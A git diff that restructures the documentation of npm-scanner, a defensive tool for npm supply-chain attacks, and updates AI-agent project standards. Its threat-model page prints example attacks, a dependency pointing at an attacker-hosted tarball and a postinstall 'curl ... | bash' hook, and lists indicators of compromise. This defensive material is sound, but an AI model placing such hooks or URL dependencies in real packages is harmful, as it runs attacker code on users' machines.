diff --git a/.claude/marr/MARR-PROJECT-CLAUDE.md b/.claude/marr/MARR-PROJECT-CLAUDE.md index 01577e0..ce411b0 100644 --- a/.claude/marr/MARR-PROJECT-CLAUDE.md +++ b/.claude/marr/MARR-PROJECT-CLAUDE.md @@ -10,7 +10,7 @@ MARR (Making Agents Really Reliable) provides project-level AI agent configuration. -See `.claude/marr/README.md` for how MARR works. +See `.claude/marr/README.md` for how MARR works, or visit [virtualian.github.io/marr](https://virtualian.github.io/marr). ## What is a Standard diff --git a/.claude/marr/standards/prj-documentation-standard.md b/.claude/marr/standards/prj-documentation-standard.md index 5af5563..d87f330 100644 --- a/.claude/marr/standards/prj-documentation-standard.md +++ b/.claude/marr/standards/prj-documentation-standard.md @@ -13,100 +13,78 @@ triggers: # Documentation Standard -> **AI Agent Instructions**: This document defines documentation organization and maintenance. Follow these rules for all documentation work. +> **AI Agent Instructions**: Follow these rules for all documentation work. +> +> **Scope**: All documentation activities +> +> **Rationale**: Consistent documentation organization ensures projects remain discoverable and maintainable. --- ## Core Rules (NEVER VIOLATE) -1. **Documentation lives in designated directories** because scattered docs are invisible -2. **Update docs when code changes** because outdated docs mislead users -3. **Use clear, direct language** because technical documentation is not marketing -4. **Provide examples** because concrete is clearer than abstract -5. **No AI attribution comments** because code and docs stand on merit, not origin +1. **All documentation lives in `docs/`** because scattered docs are invisible +2. **Organize by role first, then content type** because users identify by role before need +3. **Keep content types distinct** because mixed purposes confuse readers +4. **Update docs when code changes** because outdated docs mislead users +5. **No AI attribution** because content stands on merit, not origin --- -## Documentation Organization +## Structure -### Recommended Structure +All project documentation MUST be organized by user role, then by content type within each role. -- **docs/** — Project documentation organized by audience or purpose -- **examples/** — Real-world reference implementations -- **plans/** — Implementation plans (if applicable) +**Content types** follow the [Diátaxis framework](https://diataxis.fr/). Consult the framework documentation to understand its principles before organizing documentation: +- **how-to/** — Task-oriented guides for accomplishing specific goals +- **reference/** — Technical descriptions of system components +- **explanation/** — Conceptual content about design decisions and trade-offs -### Directory Purposes +**Role-first organization** means users navigate to their role before choosing content type. This matches how users think: "I'm an administrator" comes before "I need a how-to guide." -**docs/** -- Technical specifications and guides -- Organized by user role or topic -- Updated when system design changes - -**examples/** -- Working code examples -- Real configurations from actual use -- Include README explaining each example +--- -**plans/** -- Implementation plans for specific work -- Created per issue/feature -- Archived or deleted when complete +## Content Type Requirements ---- +### How-To Guides +- MUST solve a specific task the user has chosen to do +- MUST assume competence — no teaching, just steps +- MUST title with the task: "How to configure X", "How to deploy Y" -## Documentation Quality Standards +### Reference +- MUST describe the system accurately and completely +- MUST be structured around code or product architecture +- MUST be optimized for lookup, not sequential reading -### Clarity -- Use simple, direct language -- Avoid jargon unless necessary -- Define terms when first used -- Use examples to clarify concepts +### Explanation +- MUST discuss the "why" behind implementations +- MUST NOT include step-by-step instructions +- MUST connect concepts across the system -### Accuracy -- Keep docs synchronized with implementation -- Update examples when code changes -- Remove obsolete information -- Verify links and references work +--- -### Completeness -- Cover all major features -- Provide examples for complex concepts -- Include rationale for key decisions -- Document exceptions and edge cases +## Quality Requirements -### Discoverability -- Logical directory structure -- Clear file naming -- README files in each major directory -- Cross-references between related docs +- Use clear, direct language — technical documentation is not marketing +- Keep docs synchronized with implementation — remove obsolete content +- Provide examples for complex concepts — concrete is clearer than abstract +- Maintain one source of truth per topic — no redundant documentation --- -## Writing Style +## Exceptions -### Technical Documentation -- Clear, direct, technical -- Assume reader is technical -- Use examples to clarify -- Explain WHY, not just WHAT +**Platform conventions take precedence.** GitHub repository and community files belong at project root per GitHub's conventions. -### READMEs -- Start with what the project/directory does -- Include quick start or usage instructions -- Link to more detailed documentation -- Keep concise and scannable +**Documentation systems define their own structure.** When using Docusaurus, MkDocs, Sphinx, or similar systems, follow their conventions — but integrate role-first organization and Diátaxis content types where the system allows. + +**Non-compliant documentation requires user input.** When existing documentation does not meet this standard, ask the user whether they want to maintain, refine, restructure, or recreate it. --- ## Anti-Patterns (FORBIDDEN) -- **Scattering documentation** — Use designated directories only -- **Creating redundant docs** — One source of truth per topic -- **Leaving outdated docs** — Update or remove, never ignore -- **Using marketing language** — This is technical documentation -- **Adding AI attribution** — No "Generated with AI" comments -- **Documenting obvious code** — Don't explain what is self-evident - ---- - -**This documentation standard ensures projects remain discoverable, understandable, and maintainable.** +- **Placing docs outside `docs/`** — All documentation in designated directory +- **Mixing content types** — How-to guides with theory, reference that teaches, explanations with procedures +- **Leaving stale docs** — Update or remove, never ignore +- **Creating redundant docs** — One authoritative source per topic diff --git a/.claude/marr/standards/prj-workflow-standard.md b/.claude/marr/standards/prj-workflow-standard.md index 488eeb7..b81c7ef 100644 --- a/.claude/marr/standards/prj-workflow-standard.md +++ b/.claude/marr/standards/prj-workflow-standard.md @@ -19,12 +19,13 @@ triggers: ## Core Rules (NEVER VIOLATE) -1. **Verify issue exists BEFORE any action** because working without tracking causes chaos -2. **Delete merged branches** because clean repos prevent confusion -3. **Always squash merge** because linear history is easier to understand and debug -4. **Branch from main only** (except hotfixes from production tags) because branching from branches creates complexity -5. **Maximum 5-day branch lifetime** because short-lived branches reduce merge conflicts -6. **Use issue-based branch naming** because traceability matters +1. **NEVER make code changes on the main branch** because main must always be deployable and all work must be traceable to a feature branch +2. **Verify issue exists BEFORE any action** because working without tracking causes chaos +3. **Delete merged branches** because clean repos prevent confusion +4. **Always squash merge** because linear history is easier to understand and debug +5. **Branch from main only** (except hotfixes from production tags) because branching from branches creates complexity +6. **Maximum 5-day branch lifetime** because short-lived branches reduce merge conflicts +7. **Use issue-based branch naming** because traceability matters --- @@ -47,10 +48,11 @@ triggers: 1. Start from current main branch 2. Pull latest changes 3. Create issue-based branch -4. Develop incrementally with meaningful commits -5. Push to remote with upstream tracking -6. Create draft PR immediately for CI checks -7. When ready, mark PR ready for review +4. **Before making ANY code changes**: Verify you are on a feature branch (not main). If on main, STOP and create a branch first. +5. Develop incrementally with meaningful commits +6. Push to remote with upstream tracking +7. Create draft PR immediately for CI checks +8. When ready, mark PR ready for review --- @@ -81,6 +83,7 @@ triggers: ## Anti-Patterns (FORBIDDEN) +- **Making changes on main** — All code changes must be on a feature branch, even "quick fixes" - **Working without an issue** — All work must be tracked - **Long-lived branches** — Merge or close within 5 days - **Merge commits** — Always squash merge diff --git a/docs/appendix.md b/deprecated/docs-v1/appendix.md similarity index 100% rename from docs/appendix.md rename to deprecated/docs-v1/appendix.md diff --git a/docs/audit-installed-packages.md b/deprecated/docs-v1/audit-installed-packages.md similarity index 100% rename from docs/audit-installed-packages.md rename to deprecated/docs-v1/audit-installed-packages.md diff --git a/docs/credential-rotation-script.md b/deprecated/docs-v1/credential-rotation-script.md similarity index 100% rename from docs/credential-rotation-script.md rename to deprecated/docs-v1/credential-rotation-script.md diff --git a/docs/development-guide.md b/deprecated/docs-v1/development-guide.md similarity index 100% rename from docs/development-guide.md rename to deprecated/docs-v1/development-guide.md diff --git a/docs/generate-summary-report.md b/deprecated/docs-v1/generate-summary-report.md similarity index 100% rename from docs/generate-summary-report.md rename to deprecated/docs-v1/generate-summary-report.md diff --git a/docs/how-it-works.md b/deprecated/docs-v1/how-it-works.md similarity index 100% rename from docs/how-it-works.md rename to deprecated/docs-v1/how-it-works.md diff --git a/docs/integration-guidelines.md b/deprecated/docs-v1/integration-guidelines.md similarity index 100% rename from docs/integration-guidelines.md rename to deprecated/docs-v1/integration-guidelines.md diff --git a/docs/migration-to-unified-audit.md b/deprecated/docs-v1/migration-to-unified-audit.md similarity index 100% rename from docs/migration-to-unified-audit.md rename to deprecated/docs-v1/migration-to-unified-audit.md diff --git a/docs/npm-install-monitor.md b/deprecated/docs-v1/npm-install-monitor.md similarity index 100% rename from docs/npm-install-monitor.md rename to deprecated/docs-v1/npm-install-monitor.md diff --git a/docs/npm-scanner.md b/deprecated/docs-v1/npm-scanner.md similarity index 100% rename from docs/npm-scanner.md rename to deprecated/docs-v1/npm-scanner.md diff --git a/docs/npm-security-audit.md b/deprecated/docs-v1/npm-security-audit.md similarity index 100% rename from docs/npm-security-audit.md rename to deprecated/docs-v1/npm-security-audit.md diff --git a/docs/npmrc-security-config.md b/deprecated/docs-v1/npmrc-security-config.md similarity index 100% rename from docs/npmrc-security-config.md rename to deprecated/docs-v1/npmrc-security-config.md diff --git a/docs/output-formats.md b/deprecated/docs-v1/output-formats.md similarity index 100% rename from docs/output-formats.md rename to deprecated/docs-v1/output-formats.md diff --git a/docs/overview.md b/deprecated/docs-v1/overview.md similarity index 100% rename from docs/overview.md rename to deprecated/docs-v1/overview.md diff --git a/docs/package-validator.md b/deprecated/docs-v1/package-validator.md similarity index 100% rename from docs/package-validator.md rename to deprecated/docs-v1/package-validator.md diff --git a/docs/recursive-audit-script.md b/deprecated/docs-v1/recursive-audit-script.md similarity index 100% rename from docs/recursive-audit-script.md rename to deprecated/docs-v1/recursive-audit-script.md diff --git a/docs/scheduled-audit-script.md b/deprecated/docs-v1/scheduled-audit-script.md similarity index 100% rename from docs/scheduled-audit-script.md rename to deprecated/docs-v1/scheduled-audit-script.md diff --git a/docs/security-indicators.md b/deprecated/docs-v1/security-indicators.md similarity index 100% rename from docs/security-indicators.md rename to deprecated/docs-v1/security-indicators.md diff --git a/docs/README.md b/docs/README.md index d5de5d5..f874590 100644 --- a/docs/README.md +++ b/docs/README.md @@ -1,122 +1,32 @@ # npm-scanner Documentation -Complete technical documentation for the npm-scanner security toolkit. +## Users -## 📚 Documentation Structure +### How-To Guides -### Getting Started -- [**How It Works**](how-it-works.md) - What npm-scanner detects and how -- [**Overview**](overview.md) - System architecture and design principles -- [**Development Guide**](development-guide.md) - Technical reference for contributors +- [Set Up npm-scanner](users/how-to/getting-started.md) +- [Scan Projects](users/how-to/scan-projects.md) +- [Validate Packages](users/how-to/validate-packages.md) +- [Integrate with CI/CD](users/how-to/integrate-with-ci.md) -### Commands +### Reference -The main entry point is [`npm-scanner.sh`](npm-scanner.md): +- [Command Reference](users/reference/command-reference.md) -- **scan** - Scan installed packages or project dependencies -- **validate** - Check a package before installation -- **list-iocs** - Display all current indicators of compromise +### Explanation -### Script Documentation (in `scripts/`) +- [Threat Model](users/explanation/threat-model.md) -#### Core Security Scripts -1. [**audit-installed-packages.sh**](audit-installed-packages.md) - Unified scanning tool -2. [**npm-security-audit.sh**](npm-security-audit.md) - Single project scanner (used internally) -3. [**npm-audit-lib.sh**](overview.md#shared-library) - Shared library with common functions -4. [**scheduled-audit-script.sh**](scheduled-audit-script.md) - Automation wrapper with alerting +## Contributors -#### Pre-Installation Tools -5. [**package-validator.js**](package-validator.md) - Pre-installation risk assessment -6. [**npm-install-monitor.js**](npm-install-monitor.md) - Real-time network monitoring +### How-To Guides -#### Response & Configuration -7. [**credential-rotation-script.sh**](credential-rotation-script.md) - Incident response guide -8. [**generate-summary-report.sh**](generate-summary-report.md) - Report aggregation tool -9. [**npmrc-security-config.sh**](npmrc-security-config.md) - Security configuration template +- [Contribute](contributors/how-to/contributing.md) -### Reference Documentation - -- [**Security Indicators**](security-indicators.md) - Threat vectors and detection methods -- [**Output Formats**](output-formats.md) - Report formats and exit codes -- [**Integration Guidelines**](integration-guidelines.md) - CI/CD, hooks, and monitoring -- [**Appendix**](appendix.md) - Troubleshooting and best practices - -## 🚀 Quick Links - -### By Use Case - -**Initial Setup** -- Start with [Overview](overview.md) -- Configure with [npmrc-security-config.sh](npmrc-security-config.md) -- Set up scanning: [scheduled-audit-script.sh](scheduled-audit-script.md) - -**Regular Security Auditing** -- Scan projects: `./npm-scanner.sh scan --project ~/code` -- Scan global packages: `./npm-scanner.sh scan --global` -- Automated: [scheduled-audit-script.sh](scheduled-audit-script.md) - -**Before Installing Packages** -- Validate package: `./npm-scanner.sh validate ` -- Monitor installation: [npm-install-monitor.js](npm-install-monitor.md) - -**Incident Response** -- Follow guide: [credential-rotation-script.sh](credential-rotation-script.md) -- Review indicators: [Security Indicators](security-indicators.md) - -**CI/CD Integration** -- See examples: [Integration Guidelines](integration-guidelines.md) -- Understand outputs: [Output Formats](output-formats.md) - -### By Script Type - -All scripts are in the `scripts/` directory. - -**Shell Scripts (.sh)** -- [audit-installed-packages.sh](audit-installed-packages.md) -- [npm-security-audit.sh](npm-security-audit.md) -- [scheduled-audit-script.sh](scheduled-audit-script.md) -- [credential-rotation-script.sh](credential-rotation-script.md) -- [generate-summary-report.sh](generate-summary-report.md) -- [npmrc-security-config.sh](npmrc-security-config.md) - -**Node.js Scripts (.js)** -- [package-validator.js](package-validator.md) -- [npm-install-monitor.js](npm-install-monitor.md) - -## 📖 Documentation Conventions - -### Code References -- **Bash blocks**: Shell script examples -- **JavaScript blocks**: Node.js script examples -- **YAML blocks**: CI/CD configurations -- **JSON blocks**: Configuration and data formats - -### Symbols -- ✓ Success/Recommended -- ⚠ Warning/Caution -- ✗ Error/Failed -- 🚨 Critical Alert -- 📊 Statistics/Metrics -- 📝 Documentation/Notes - -### File Paths -- Entry point: `./npm-scanner.sh` (from project root) -- Scripts: `./scripts/*.sh` and `./scripts/*.js` -- Absolute: `/path/to/file` -- Home: `~/.npmrc` (user home directory) - -## 🔗 Navigation - -Each documentation file includes: -- **Forward navigation**: Link to next related topic -- **Backward navigation**: Link to previous topic -- **Cross-references**: Links to related documentation - ---- - -**Version:** 1.0 -**Last Updated:** October 31, 2025 -**Maintainer:** Security Automation Team +### Reference +- [Architecture](contributors/reference/architecture.md) +### Explanation +- [Design Decisions](contributors/explanation/design-decisions.md) diff --git a/docs/contributors/explanation/design-decisions.md b/docs/contributors/explanation/design-decisions.md new file mode 100644 index 0000000..5f68c08 --- /dev/null +++ b/docs/contributors/explanation/design-decisions.md @@ -0,0 +1,66 @@ +# Design Decisions + +## Zero npm Dependencies + +npm-scanner has no npm dependencies. This is intentional. + +The tool audits npm packages for supply chain attacks. If it depended on npm packages, it would be vulnerable to the same attacks it detects. An attacker could compromise a dependency of npm-scanner to disable or subvert its detection. + +This constraint means: +- All code is bash scripts and standard Unix tools +- No package.json or node_modules +- CI fails if npm dependency files are detected + +The tradeoff is slower development (no libraries) for stronger security guarantees. + +## Defense in Depth + +npm-scanner uses multiple detection mechanisms because no single check catches all attacks: + +- **URL dependencies** catch PhantomRaven-style attacks +- **IOC matching** catches known infrastructure +- **Metadata analysis** catches suspicious patterns +- **Typosquatting detection** catches name confusion + +Each mechanism has blind spots. Together, they provide broader coverage. + +## Risk Scoring Over Binary Decisions + +npm-scanner assigns risk scores rather than pass/fail verdicts because: + +1. **Context matters** - A lifecycle script in puppeteer is legitimate; in an unknown package it's suspicious +2. **False positives are costly** - Blocking legitimate packages frustrates users +3. **Humans make final decisions** - Security tools inform; humans decide + +The scoring weights were chosen based on: +- Severity of the attack vector +- Likelihood of false positives +- Real-world attack patterns + +## Caching Strategy + +The cache exists because: +- npm registry API has rate limits +- Repeated scans of the same packages are common +- Offline operation is sometimes needed + +The 3-day default expiration balances freshness with performance. Security-critical data (IOCs) is not cached—it's bundled with the tool. + +## Shared Library Pattern + +Common functionality lives in `npm-audit-lib.sh` because: +- IOC definitions need a single source of truth +- Cache functions should be consistent +- Code duplication leads to divergence + +Scripts source the library rather than copying code. + +## Report Output Format + +Reports are Markdown because: +- Human-readable without special tools +- Renders well on GitHub +- Easy to diff between runs +- Can be converted to other formats + +Structured data (TSV) is generated for programmatic analysis. diff --git a/docs/contributors/how-to/contributing.md b/docs/contributors/how-to/contributing.md new file mode 100644 index 0000000..cec3acb --- /dev/null +++ b/docs/contributors/how-to/contributing.md @@ -0,0 +1,80 @@ +# How to Contribute + +## Set Up Development Environment + +1. Clone the repository: + ```bash + git clone https://github.com/virtualian/npm-scanner.git + cd npm-scanner + ``` + +2. Install prerequisites: + ```bash + # macOS + brew install jq shellcheck + + # Ubuntu/Debian + sudo apt-get install jq shellcheck + ``` + +3. Initialize data files: + ```bash + ./npm-scanner.sh init + ``` + +## Make Changes + +1. Create branch from `main`: + ```bash + git checkout -b - + ``` + +2. Make your changes + +3. Run shellcheck: + ```bash + shellcheck scripts/*.sh npm-scanner.sh + ``` + +4. Test functionality: + ```bash + ./npm-scanner.sh help + ./npm-scanner.sh scan --global --limit 5 + ./npm-scanner.sh validate lodash + ``` + +5. Update documentation if needed + +6. Submit PR + +## Add New IOCs + +Edit `scripts/npm-audit-lib.sh`: + +```bash +KNOWN_MALICIOUS_DOMAINS=( + "existing.com" + "new-malicious.com" +) + +KNOWN_MALICIOUS_IPS=( + "existing.ip" + "new.malicious.ip" +) + +ATTACKER_PATTERNS=( + "existing-pattern" + "new-attacker-pattern" +) +``` + +## Add Typosquatting Targets + +Edit `scripts/npm-audit-lib.sh`: + +```bash +TYPOSQUATTING_TARGETS=( + "existing-package" + "new-popular-package" +) +``` diff --git a/docs/contributors/reference/architecture.md b/docs/contributors/reference/architecture.md new file mode 100644 index 0000000..0d78065 --- /dev/null +++ b/docs/contributors/reference/architecture.md @@ -0,0 +1,209 @@ +# Architecture Reference + +## System Structure + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ npm-scanner.sh │ +│ (Main Entry Point) │ +├─────────────────────────────────────────────────────────────────┤ +│ │ +│ Commands: │ +│ ├─ init / refresh → Data file management │ +│ ├─ scan → audit-installed-packages.sh │ +│ ├─ validate → package-validator.sh │ +│ ├─ list-iocs → Display IOC definitions │ +│ └─ cache → Cache management │ +│ │ +├─────────────────────────────────────────────────────────────────┤ +│ │ +│ Core Scripts (scripts/): │ +│ ├─ audit-installed-packages.sh (Unified scanner) │ +│ ├─ npm-security-audit.sh (Single project scanner) │ +│ ├─ npm-audit-lib.sh (Shared library) │ +│ └─ package-validator.sh (Pre-install validation) │ +│ │ +│ Automation Scripts: │ +│ ├─ scheduled-audit-script.sh (Cron/scheduling) │ +│ └─ generate-summary-report.sh (Report aggregation) │ +│ │ +│ Response Scripts: │ +│ ├─ credential-rotation-script.sh (Incident response) │ +│ └─ npmrc-security-config.sh (Hardening) │ +│ │ +├─────────────────────────────────────────────────────────────────┤ +│ │ +│ Data Layer: │ +│ ├─ ~/.npm-scanner/data/ (Downloaded lists) │ +│ │ ├─ disposable-email-domains.txt │ +│ │ └─ tranco-top-100k.csv │ +│ └─ ~/.npm-scanner/cache/ (npm registry cache) │ +│ │ +└─────────────────────────────────────────────────────────────────┘ +``` + +## File Structure + +``` +npm-scanner/ +├── npm-scanner.sh # Main entry point +├── VERSION # Version and release date +├── scripts/ +│ ├── npm-audit-lib.sh # Shared library +│ ├── audit-installed-packages.sh +│ ├── npm-security-audit.sh +│ ├── package-validator.sh +│ ├── scheduled-audit-script.sh +│ ├── generate-summary-report.sh +│ ├── credential-rotation-script.sh +│ └── npmrc-security-config.sh +├── docs/ # Documentation +├── templates/ # Report templates +├── reports/ # Scan output (gitignored) +└── deprecated/ # Old scripts for reference +``` + +## Components + +### npm-scanner.sh + +Main entry point and command router. + +- Parses commands and options +- Manages data file lifecycle (init/refresh) +- Routes to appropriate scripts +- Provides unified help system + +### npm-audit-lib.sh + +Shared library sourced by other scripts. + +- IOC definitions (malicious domains, IPs, attacker patterns) +- Typosquatting targets list +- Cache functions for npm registry metadata +- Common utility functions + +### audit-installed-packages.sh + +Unified scanning tool supporting three modes: + +| Mode | Flag | Scans | +|------|------|-------| +| Global | `--global` | `npm list -g` packages | +| Local | `--local` | node_modules directories | +| Project | `--project` | package.json dependencies | + +### npm-security-audit.sh + +Single-project scanner used internally by audit-installed-packages.sh. + +- HTTP URL dependency detection +- Lifecycle script analysis +- npm registry metadata fetching +- Risk score calculation + +### package-validator.sh + +Pre-installation validation tool. + +- Package existence and metadata +- Age and creation date +- Maintainer analysis +- Download statistics +- Typosquatting detection (Levenshtein distance) +- Disposable email detection +- Email domain reputation + +## Data Flow + +### Scan Flow + +``` +npm-scanner.sh scan --project ~/code + │ + ▼ +audit-installed-packages.sh + │ + ▼ +Find all package.json files + │ + ▼ +For each project: npm-security-audit.sh + │ + ▼ +Fetch npm registry metadata ◄── Cache layer + │ + ▼ +Check IOCs (domains, IPs, patterns, URLs, scripts) + │ + ▼ +Calculate risk score + │ + ▼ +Generate reports in reports/ +``` + +### Validation Flow + +``` +npm-scanner.sh validate some-package + │ + ▼ +package-validator.sh + │ + ▼ +Fetch npm registry metadata + │ + ▼ +Analyze (age, maintainers, downloads, emails) + │ + ▼ +Check typosquatting against 28 targets + │ + ▼ +Output risk assessment +``` + +## Caching + +### npm Registry Cache + +Location: `~/.npm-scanner/cache/` + +| Setting | Default | Environment Variable | +|---------|---------|---------------------| +| Max size | 200 MB | `NPM_SCANNER_CACHE_MAX_SIZE_MB` | +| Max age | 3 days | `NPM_SCANNER_CACHE_MAX_AGE_DAYS` | + +### Package List Cache + +Caches directory listings of node_modules. Invalidated when directory modification time changes. + +## Risk Scoring + +| Finding | Points | Severity | +|---------|--------|----------| +| Known malicious domain | +100 | CRITICAL | +| Known malicious IP | +100 | CRITICAL | +| Attacker pattern match | +100 | CRITICAL | +| HTTP URL dependency | +50 | CRITICAL | +| Typosquatting match | +30 | HIGH | +| Lifecycle scripts | +10-30 | MEDIUM-HIGH | +| Recently created (<30 days) | +20 | MEDIUM | +| Low downloads (<1000/week) | +15 | MEDIUM | +| Single maintainer | +10 | LOW | +| Disposable email | +25 | HIGH | + +Risk levels: +- 0-25: LOW +- 26-50: MEDIUM +- 51-75: HIGH +- 76+: CRITICAL + +## Report Templates + +Location: `templates/` + +- `templates/common/` - Shared template components +- `templates/packages/` - Package scan templates +- `templates/projects/` - Project scan templates diff --git a/docs/users/explanation/threat-model.md b/docs/users/explanation/threat-model.md new file mode 100644 index 0000000..3c265aa --- /dev/null +++ b/docs/users/explanation/threat-model.md @@ -0,0 +1,189 @@ +# Threat Model + +npm-scanner protects against **supply chain attacks** delivered through npm packages. It focuses on attacks that bypass traditional vulnerability scanning (`npm audit`). + +## Scope + +### In Scope + +- Malicious packages published to npm +- Packages fetching code from external URLs +- Typosquatting and name confusion attacks +- Compromised or malicious maintainer accounts +- Lifecycle script abuse + +### Out of Scope + +- Known CVEs (use `npm audit` for these) +- Runtime behavior analysis +- Source code static analysis +- Network traffic inspection (except via npm-install-monitor.js) + +## Attack Vectors + +### 1. Remote Dynamic Dependencies (RDD) + +Attacker publishes package with dependency pointing to external URL instead of npm registry. + +```json +{ + "dependencies": { + "helper": "https://attacker.com/malware.tgz" + } +} +``` + +**Attack Flow:** +1. Victim runs `npm install` +2. npm fetches tarball from attacker URL +3. Malicious code executes + +**Detection:** npm-scanner scans package.json and package-lock.json for HTTP/HTTPS URLs in dependency specifications. + +**Severity:** CRITICAL + +**Real-World Example:** PhantomRaven campaign used `packages.storeartifact.com` + +--- + +### 2. Lifecycle Script Attacks + +Package runs malicious code during installation via npm lifecycle scripts. + +**Vulnerable Scripts:** +- `preinstall` - Runs before package installs +- `install` - Runs during installation +- `postinstall` - Runs after installation + +```json +{ + "scripts": { + "postinstall": "curl https://attacker.com/steal.sh | bash" + } +} +``` + +**Detection:** npm-scanner identifies packages with lifecycle scripts and applies risk scoring based on package age, downloads, and maintainer count. + +**Severity:** HIGH (varies based on package reputation) + +**Note:** Many legitimate packages use lifecycle scripts (esbuild, prisma, puppeteer). Context matters. + +--- + +### 3. Typosquatting + +Attacker registers package with name similar to popular package. + +| Malicious | Legitimate | +|-----------|------------| +| `lodahs` | `lodash` | +| `expres` | `express` | +| `recat` | `react` | + +**Detection:** npm-scanner compares package names against 28 popular targets using Levenshtein distance (edit distance ≤ 2). + +**Severity:** HIGH + +--- + +### 4. Slopsquatting + +AI coding assistants recommend non-existent packages. Attackers register these names with malicious code. + +**Attack Flow:** +1. AI suggests: "use the `helpful-utils` package" +2. Package doesn't exist (AI hallucinated) +3. Attacker registers `helpful-utils` with malware +4. Future users following AI advice install malware + +**Detection:** Age checks and low download counts flag newly created packages. + +**Severity:** HIGH + +--- + +### 5. Maintainer Account Compromise + +Attacker compromises legitimate maintainer account and publishes malicious update. + +**Detection:** Limited. npm-scanner checks for: +- Disposable email addresses +- Known attacker patterns in usernames + +**Severity:** CRITICAL (hardest to detect) + +--- + +### 6. Dependency Confusion + +Attacker publishes public package with same name as internal/private package. + +**Detection:** npm-scanner can identify suspicious packages but cannot know your private package names. + +**Severity:** HIGH + +--- + +## Indicators of Compromise (IOCs) + +### Known Malicious Domains + +- `packages.storeartifact.com` (PhantomRaven) +- `storeartifact.com` (PhantomRaven) + +### Known Malicious IPs + +- `54.173.15.59` (PhantomRaven) + +### Attacker Patterns + +- `jpdtester\d+` (PhantomRaven test accounts) +- `npmhell` (known attacker) +- `npmpackagejpd` (PhantomRaven) + +## Risk Scoring + +| Indicator | Points | Rationale | +|-----------|--------|-----------| +| Known malicious domain | +100 | Confirmed attack infrastructure | +| Known malicious IP | +100 | Confirmed attack infrastructure | +| Attacker pattern match | +100 | Known bad actor | +| HTTP URL dependency | +50 | Primary RDD attack vector | +| Typosquatting match | +30 | Likely intentional deception | +| Lifecycle scripts | +10-30 | Potential code execution | +| Package age <30 days | +20 | New packages are higher risk | +| Downloads <1000/week | +15 | Less community vetting | +| Single maintainer | +10 | Higher account compromise risk | +| Disposable email | +25 | Throwaway identity | + +## Limitations + +### False Positives + +Legitimate packages may trigger warnings: +- New packages from trusted authors +- Packages with legitimate lifecycle scripts +- Single-maintainer projects (many popular ones) + +### False Negatives + +npm-scanner may miss: +- Sophisticated attacks not matching known patterns +- Malicious code in established packages +- Attacks using new infrastructure not yet in IOC list +- Source code level malware (not analyzed) + +## Comparison with npm audit + +| Threat | npm audit | npm-scanner | +|--------|-----------|-------------| +| Known CVEs | ✓ | ✗ | +| URL dependencies | ✗ | ✓ | +| Lifecycle scripts | ✗ | ✓ | +| Typosquatting | ✗ | ✓ | +| Metadata analysis | ✗ | ✓ | +| Maintainer analysis | ✗ | ✓ | +| Known malicious domains | ✗ | ✓ | + +**Use both.** They are complementary. diff --git a/docs/users/how-to/getting-started.md b/docs/users/how-to/getting-started.md new file mode 100644 index 0000000..eaa8298 --- /dev/null +++ b/docs/users/how-to/getting-started.md @@ -0,0 +1,51 @@ +# How to Set Up npm-scanner + +## Install Prerequisites + +macOS: +```bash +brew install jq +``` + +Ubuntu/Debian: +```bash +sudo apt-get install jq curl unzip +``` + +## Clone the Repository + +```bash +git clone https://github.com/virtualian/npm-scanner.git +cd npm-scanner +``` + +## Initialize Data Files + +```bash +./npm-scanner.sh init +``` + +## Run Your First Scan + +Scan global packages: +```bash +./npm-scanner.sh scan --global +``` + +Scan a project: +```bash +./npm-scanner.sh scan --project ~/code/my-project +``` + +Validate a package: +```bash +./npm-scanner.sh validate package-name +``` + +## Refresh Data Files Periodically + +```bash +./npm-scanner.sh refresh +``` + +Run monthly to keep detection data current. diff --git a/docs/users/how-to/integrate-with-ci.md b/docs/users/how-to/integrate-with-ci.md new file mode 100644 index 0000000..8301bab --- /dev/null +++ b/docs/users/how-to/integrate-with-ci.md @@ -0,0 +1,106 @@ +# How to Integrate npm-scanner with CI/CD + +## GitHub Actions + +Add to `.github/workflows/security-scan.yml`: + +```yaml +name: Security Scan +on: [push, pull_request] + +jobs: + npm-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Install dependencies + run: sudo apt-get install -y jq + + - name: Clone npm-scanner + run: git clone https://github.com/virtualian/npm-scanner.git /tmp/npm-scanner + + - name: Initialize scanner + run: /tmp/npm-scanner/npm-scanner.sh init + + - name: Scan project + run: /tmp/npm-scanner/npm-scanner.sh scan --project . --yes +``` + +## Pre-Commit Hook + +Create `.git/hooks/pre-commit`: + +```bash +#!/bin/bash + +if git diff --cached --name-only | grep -q "package.json"; then + ./npm-scanner.sh scan --project . --yes + if [ $? -ne 0 ]; then + echo "Security scan found issues. Review before committing." + exit 1 + fi +fi +``` + +Make it executable: + +```bash +chmod +x .git/hooks/pre-commit +``` + +## Jenkins Pipeline + +```groovy +pipeline { + agent any + stages { + stage('Security Scan') { + steps { + sh './npm-scanner.sh scan --project . --yes' + } + } + } + post { + failure { + emailext subject: 'npm-scanner: Issues Found', + body: 'Security scan detected potential issues.', + to: 'security@company.com' + } + } +} +``` + +## GitLab CI + +Add to `.gitlab-ci.yml`: + +```yaml +security-scan: + stage: test + image: ubuntu:latest + before_script: + - apt-get update && apt-get install -y jq curl git unzip + - git clone https://github.com/virtualian/npm-scanner.git /tmp/npm-scanner + - /tmp/npm-scanner/npm-scanner.sh init + script: + - /tmp/npm-scanner/npm-scanner.sh scan --project . --yes +``` + +## Scheduled Scans + +Use cron for regular automated scans: + +```bash +# Add to crontab (runs daily at 6 AM) +0 6 * * * /path/to/npm-scanner/npm-scanner.sh scan --project ~/code --yes +``` + +Or use the scheduling script with email alerts: + +```bash +./scripts/scheduled-audit-script.sh \ + --project ~/code \ + --email security@company.com \ + --cron "0 6 * * *" +``` diff --git a/docs/users/how-to/scan-projects.md b/docs/users/how-to/scan-projects.md new file mode 100644 index 0000000..691a454 --- /dev/null +++ b/docs/users/how-to/scan-projects.md @@ -0,0 +1,64 @@ +# How to Scan Projects for Security Issues + +## Scan a Single Project + +```bash +./npm-scanner.sh scan --project ~/code/my-app +``` + +## Scan All Projects Under a Directory + +```bash +./npm-scanner.sh scan --project ~/code +``` + +## Scan Global Packages + +```bash +./npm-scanner.sh scan --global +``` + +## Limit Scan to Specific Number of Packages + +```bash +./npm-scanner.sh scan --global --limit 50 +``` + +## Use Random Sampling for Large Codebases + +```bash +./npm-scanner.sh scan --project ~/code -n 100 --random +``` + +## Run Scans in Parallel + +```bash +./npm-scanner.sh scan --project ~/code --parallel +``` + +## Exclude Directories + +```bash +./npm-scanner.sh scan --project ~/code \ + -e test \ + -e __tests__ \ + -e fixtures +``` + +## Get Summary Output + +```bash +./npm-scanner.sh scan --project ~/code --summary 